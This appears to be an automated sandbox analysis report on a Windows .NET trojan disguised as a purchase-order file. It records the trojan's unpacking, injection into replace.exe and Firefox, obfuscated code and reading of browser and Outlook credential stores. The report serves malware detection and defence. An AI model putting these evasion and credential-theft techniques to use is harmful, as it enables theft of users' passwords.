Source: PO For Bulk Order.exe, 00000002.00000002.2466016276.0000000001ABD000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000002.00000002.2465721816.000000000154A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameREPLACE.EXEj% vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe	Binary or memory string: OriginalFilenameweVB.exe4 vs PO For Bulk Order.exe

Source: PO For Bulk Order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PO For Bulk Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, dn1GQjm3rG1whNJZoc.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, dn1GQjm3rG1whNJZoc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, dn1GQjm3rG1whNJZoc.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, dn1GQjm3rG1whNJZoc.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@18/11

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO For Bulk Order.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Mutant created: NULL

Source: C:\Windows\SysWOW64\replace.exe

File created: C:\Users\user\AppData\Local\Temp\3Ef93-8M

Jump to behavior

Source: PO For Bulk Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO For Bulk Order.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: replace.exe, 00000005.00000002.4597908429.0000000002BEB000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4597908429.0000000002BB6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: PO For Bulk Order.exe	Virustotal: Detection: 55%
Source: PO For Bulk Order.exe	ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\PO For Bulk Order.exe "C:\Users\user\Desktop\PO For Bulk Order.exe"
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process created: C:\Users\user\Desktop\PO For Bulk Order.exe "C:\Users\user\Desktop\PO For Bulk Order.exe"
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"
Source: C:\Windows\SysWOW64\replace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Process created: C:\Users\user\Desktop\PO For Bulk Order.exe "C:\Users\user\Desktop\PO For Bulk Order.exe"	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Process created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\replace.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HDdslAmbUccLZXUPjAAbogDcIRMpzMUnaTVIFMcITYhCHbBZunAP\pmpyUnHFtGF1F2iqQgjj3t.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\PO For Bulk Order.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\replace.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PO For Bulk Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: PO For Bulk Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: PO For Bulk Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: weVB.pdb source: PO For Bulk Order.exe
Source:	Binary string: replace.pdb source: PO For Bulk Order.exe, 00000002.00000002.2465721816.0000000001538000.00000004.00000020.00020000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000003.2405871605.0000000000614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: replace.pdbGCTL source: PO For Bulk Order.exe, 00000002.00000002.2465721816.0000000001538000.00000004.00000020.00020000.00000000.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000003.2405871605.0000000000614000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO For Bulk Order.exe, 00000002.00000002.2466016276.0000000001990000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000005.00000003.2468332601.0000000002F6A000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4600063960.00000000032AE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4600063960.0000000003110000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000005.00000003.2465655091.0000000002DBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: weVB.pdbSHA2566 source: PO For Bulk Order.exe
Source:	Binary string: wntdll.pdb source: PO For Bulk Order.exe, PO For Bulk Order.exe, 00000002.00000002.2466016276.0000000001990000.00000040.00001000.00020000.00000000.sdmp, replace.exe, replace.exe, 00000005.00000003.2468332601.0000000002F6A000.00000004.00000020.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4600063960.00000000032AE000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000005.00000002.4600063960.0000000003110000.00000040.00001000.00020000.00000000.sdmp, replace.exe, 00000005.00000003.2465655091.0000000002DBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: pmpyUnHFtGF1F2iqQgjj3t.exe, 00000004.00000000.2390610843.000000000090F000.00000002.00000001.01000000.0000000C.sdmp, pmpyUnHFtGF1F2iqQgjj3t.exe, 00000007.00000000.2541862279.000000000090F000.00000002.00000001.01000000.0000000C.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	.Net Code: qwDNrh0DWm System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO For Bulk Order.exe.4f50000.5.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	.Net Code: qwDNrh0DWm System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO For Bulk Order.exe.29bb54c.1.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.PO For Bulk Order.exe.3611fd8.2.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: PO For Bulk Order.exe

Static PE information: 0xB9421CC1 [Thu Jun 28 14:01:37 2068 UTC]

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004190C4 push ebp; iretd	2_2_004190CE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0041E919 push ss; iretd	2_2_0041E92D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004031D0 push eax; ret	2_2_004031D2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040D193 push ds; retf	2_2_0040D19B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0041821A pushfd ; iretd	2_2_00418228
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040D3BE push eax; iretd	2_2_0040D3C2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004174E1 push esp; ret	2_2_004174E4
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0199225F pushad ; ret	2_2_019927F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019927FA pushad ; ret	2_2_019927F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C09AD push ecx; mov dword ptr [esp], ecx	2_2_019C09B6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0199283D push eax; iretd	2_2_01992858
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01991200 push eax; iretd	2_2_01991369
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0311225F pushad ; ret	5_2_031127F9
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031127FA pushad ; ret	5_2_031127F9
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031409AD push ecx; mov dword ptr [esp], ecx	5_2_031409B6
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0311283D push eax; iretd	5_2_03112858
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0281430E push esp; ret	5_2_02814311
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_028128DE push esp; iretd	5_2_028128DF
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0281C967 push 0000002Ah; retn 0A8Bh	5_2_0281CA47
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0281C967 push cs; iretd	5_2_0281CA8F
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02815047 pushfd ; iretd	5_2_02815055
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0281B746 push ss; iretd	5_2_0281B75A
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02815EF1 push ebp; iretd	5_2_02815EFB
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0281BC3B push ss; ret	5_2_0281BC65
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EA732D pushad ; retf	5_2_02EA732E
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EA6335 push ds; iretd	5_2_02EA633C
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAF1F7 push es; retf	5_2_02EAF1FA
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAD1CA push ebp; retf	5_2_02EAD1CD
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAF61E pushad ; retf	5_2_02EAF5AA
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAC793 push eax; iretd	5_2_02EAC794
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EA477C push sp; ret	5_2_02EA4787

Source: PO For Bulk Order.exe

Static PE information: section name: .text entropy: 7.782873415864994

Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, lieuO8WRwoLBTdgyL1.cs	High entropy of concatenated method names: 'dcwrr6BOf', 'hDqw0IeaT', 'zAXaLZ2uH', 'xnxbqnqS6', 'YHSuACBn9', 'neonpVnx9', 'iScZ8RYIGsiRfhCMKF', 'j24NRFbbIC5EPZsKXP', 'UMwImdytK', 'uoF9u2WeO'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, YvRJmYcJpFXiUXI909.cs	High entropy of concatenated method names: 'dMXeP7Hhyl', 'WgWe8oyTEi', 'AVoerpRRBG', 'UivewJpu3U', 'tGEea3uMYA', 'qRoeb9xj0r', 'MWdeuNJvrm', 'oK1enDCwcN', 'dfUhg7sFefknSoT544u', 'T08oXcsu39UZpV47k5s'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, WJ1r690n8jG6Vq3HOp.cs	High entropy of concatenated method names: 'V5gJ60hiQh', 'soCJAOrLSM', 'RwWJJnHTyg', 'V4jJVoo8ii', 'KiEJfSkRk5', 'XhVJPrBWt8', 'Dispose', 'eNhIju7ELu', 'fA9IFNPnaX', 'VrUIUV23P9'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, SfCtCShCvvvYaoOIgZ.cs	High entropy of concatenated method names: 'ItEeg8pu0O', 'LgAeFhpVyQ', 'gNMe1lcyYe', 'qi5evScHjH', 'onve5DAl06', 'WMh1Ky5POx', 'dUi1lQl3cs', 'JQj10k3LHj', 'ghZ1RPukJj', 'xEi1MFxGnH'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, UEUQ6ln3AUvKJ761jP.cs	High entropy of concatenated method names: 'X8E1BDgw4y', 'CaD1b5mgma', 'lj2UqTbij6', 'OXHUcvjORP', 'Dl5UpGmSi1', 'PkAUyXnhHI', 'EHeUQQVZ7S', 'lsaUxML57t', 'XMIU4ipSfq', 'BXsUTGNPMT'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, fNXW1LCEUYWlTPlXagI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'l5J9sYMDLc', 'ccE9kCSVcp', 'O3H9SbjC2t', 'luC92ocsTq', 'N549Hxl2x7', 'g5D9YGpr5A', 'k0g9trAVlV'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, l2G6woZFQf8XBiXaVA.cs	High entropy of concatenated method names: 'vdw9UJXHfF', 'SnL91AQSFr', 'CVh9eYNfbP', 'tSo9vp3Nhc', 'D4M9J56iD4', 'xUX95EHWnl', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, dUGGJUSySrpgjnMsQS.cs	High entropy of concatenated method names: 'jKDOmPn3f3', 'gkNOuw8UKW', 'EqNOhjRMZ0', 'Q0tOixPjsZ', 'yd2Ocgccnk', 'wrnOpW90mZ', 'kDOOQO9ard', 'TrFOxf8K9N', 'E3FOTPeCwO', 'u4cOsQAgYS'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, Jk9ZPNtmJkvbiNRlXh.cs	High entropy of concatenated method names: 'kLsA3l0wRr', 'xEsALBhadZ', 'ToString', 'joJAjQ7SC1', 'TASAFfCKMn', 'HsXAU6d3FI', 'QeqA1d0oXa', 'aPSAeh74Wb', 'VvVAvcIjXx', 'rhBA5G9o0D'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, dZHZgtFoQihalcmCTM.cs	High entropy of concatenated method names: 'Dispose', 'fG6CMVq3HO', 'uDYWiWG6kk', 'jFepmWNGiT', 'JHPCZj4jP9', 'rYECzLhJGI', 'ProcessDialogKey', 'rMmWE9MJE6', 'xY1WCDxJlg', 'LAEWWD2G6w'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, zgObytuB9TZVxwXueg.cs	High entropy of concatenated method names: 'q08Uw7kYKp', 'oNDUaJmkCh', 'r9MUmXl3fP', 'zEtUuHXvYY', 'UILU6CiYIl', 'KDfUdGdWa8', 'QhNUAnFl9c', 'OTcUI8OTqt', 'xPIUJCUpCa', 'u67U9Hrqjo'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, CpHpWM4uQqRPUv0H6a.cs	High entropy of concatenated method names: 'LNcv8jLYbY', 'XUBvGhsmOp', 'tyHvrZnqpF', 'HOpvwB2rXl', 'CicvBlZvE4', 'MX9vah9TII', 'FilvbhUVbv', 'TyrvmuXZad', 'xKcvuU6sQV', 'jnuvnf9Bg2'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, QEuGsOlxM1N1ABgINX.cs	High entropy of concatenated method names: 'VldAR1RNES', 'FLnAZocYN8', 't8EIElw4Fq', 'MdAICU9402', 'D19AsIMfRD', 'iVHAkGQ635', 'pybASX5Klc', 'rtmA2jnDSk', 'E1sAHui2bg', 'IHHAYus8ob'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, E4IxhyNgJpIWQfjgZu.cs	High entropy of concatenated method names: 'uSoCvn1GQj', 'lrGC51whNJ', 'TB9C3TZVxw', 'uueCLgKEUQ', 'w61C6jPYfC', 'TCSCdCvvvY', 'tVqneXD6wB97xHLlmX', 'pfJ5t3tdAbIZuiZ48K', 'P0wCCND4A3', 'Qg9Cor9nuT'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, fdgEvpCNl67GE46Z5pM.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'e2fXJPclrA', 'CcCX92Aq4W', 'zaOXV5SiHf', 'h7mXXH0pig', 'RseXfGJV0G', 'jUCX7ZlxDQ', 'sHSXPCxqQ5'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, VwGJhs25dEmExv4ejD.cs	High entropy of concatenated method names: 'EZN6T0gelm', 'qjG6k2PQ15', 'HgG620yVnZ', 'sUg6HN0n5O', 'CuZ6i6lBhR', 'aH86qW8tG8', 'Wqw6cPibgR', 'Kd06pXGf94', 'C3O6y2kRbT', 'Bn86QiWDCE'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, hy1uBRz3hJg7Za9gRQ.cs	High entropy of concatenated method names: 'r7D9aATprt', 'kB79m8Qybj', 'KOn9uU5Xei', 'CAS9hCPUh1', 'xns9ilCvpR', 't3s9cWUkKy', 'BuU9p4v8Tl', 'zYg9PrGJkJ', 'eJZ98mWdQJ', 'B639Gy1inP'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, dn1GQjm3rG1whNJZoc.cs	High entropy of concatenated method names: 'DTiF29AbOS', 'VxXFH3lvGj', 'vZcFYfCuBm', 's6cFt3158o', 'mM0FKLGmcX', 'dqgFlsANdS', 'x6UF0ESbuI', 'jgZFRBahN1', 'PmdFMkbMDm', 'p8VFZ5s7NJ'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, D9MJE6MPY1DxJlgQAE.cs	High entropy of concatenated method names: 'sZOJhUpan6', 'Ph7JigdOCR', 'tgRJqmVr5X', 'ApAJcqWEyd', 'OKrJpQ55oi', 'f3GJyMgFhx', 'LQRJQnJxIP', 'RsFJxbI7FC', 'giZJ4So1bX', 'ye1JTvCdOl'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, BDIdhH5vSIRfgfFSJG.cs	High entropy of concatenated method names: 'OFnog1v9HR', 'AqSoj6tWs2', 'FBuoFVWcJo', 'jMnoUPP5Nw', 'tKFo1qsxVG', 'RtsoeEOakd', 'pKPovJIdjL', 'RxCo5l9Wjk', 'n1HoDPHKev', 'MCKo3Qtapi'
Source: 0.2.PO For Bulk Order.exe.3876528.3.raw.unpack, RE6OesCCSXSGlwa2JNy.cs	High entropy of concatenated method names: 'RGx9ZEbg2H', 'NiZ9zqrcZ6', 'BIWVEGLGgK', 'V7EVCpiFXT', 'GVGVWTiW59', 'RaDVodWwfA', 'vGVVNhv7w2', 'uCKVg0FnZL', 'uvIVjXOZGa', 'I1MVF2tJ7K'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, lieuO8WRwoLBTdgyL1.cs	High entropy of concatenated method names: 'dcwrr6BOf', 'hDqw0IeaT', 'zAXaLZ2uH', 'xnxbqnqS6', 'YHSuACBn9', 'neonpVnx9', 'iScZ8RYIGsiRfhCMKF', 'j24NRFbbIC5EPZsKXP', 'UMwImdytK', 'uoF9u2WeO'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, YvRJmYcJpFXiUXI909.cs	High entropy of concatenated method names: 'dMXeP7Hhyl', 'WgWe8oyTEi', 'AVoerpRRBG', 'UivewJpu3U', 'tGEea3uMYA', 'qRoeb9xj0r', 'MWdeuNJvrm', 'oK1enDCwcN', 'dfUhg7sFefknSoT544u', 'T08oXcsu39UZpV47k5s'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, WJ1r690n8jG6Vq3HOp.cs	High entropy of concatenated method names: 'V5gJ60hiQh', 'soCJAOrLSM', 'RwWJJnHTyg', 'V4jJVoo8ii', 'KiEJfSkRk5', 'XhVJPrBWt8', 'Dispose', 'eNhIju7ELu', 'fA9IFNPnaX', 'VrUIUV23P9'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, SfCtCShCvvvYaoOIgZ.cs	High entropy of concatenated method names: 'ItEeg8pu0O', 'LgAeFhpVyQ', 'gNMe1lcyYe', 'qi5evScHjH', 'onve5DAl06', 'WMh1Ky5POx', 'dUi1lQl3cs', 'JQj10k3LHj', 'ghZ1RPukJj', 'xEi1MFxGnH'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, UEUQ6ln3AUvKJ761jP.cs	High entropy of concatenated method names: 'X8E1BDgw4y', 'CaD1b5mgma', 'lj2UqTbij6', 'OXHUcvjORP', 'Dl5UpGmSi1', 'PkAUyXnhHI', 'EHeUQQVZ7S', 'lsaUxML57t', 'XMIU4ipSfq', 'BXsUTGNPMT'
Source: 0.2.PO For Bulk Order.exe.6f60000.6.raw.unpack, fNXW1LCEUYWlTPlXagI.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'l5J9sYMDLc', 'ccE9kCSVcp', 'O3H9SbjC2t', 'luC92ocsTq', 'N549Hxl2x7', 'g5D9YGpr5A', 'k0g9trAVlV'
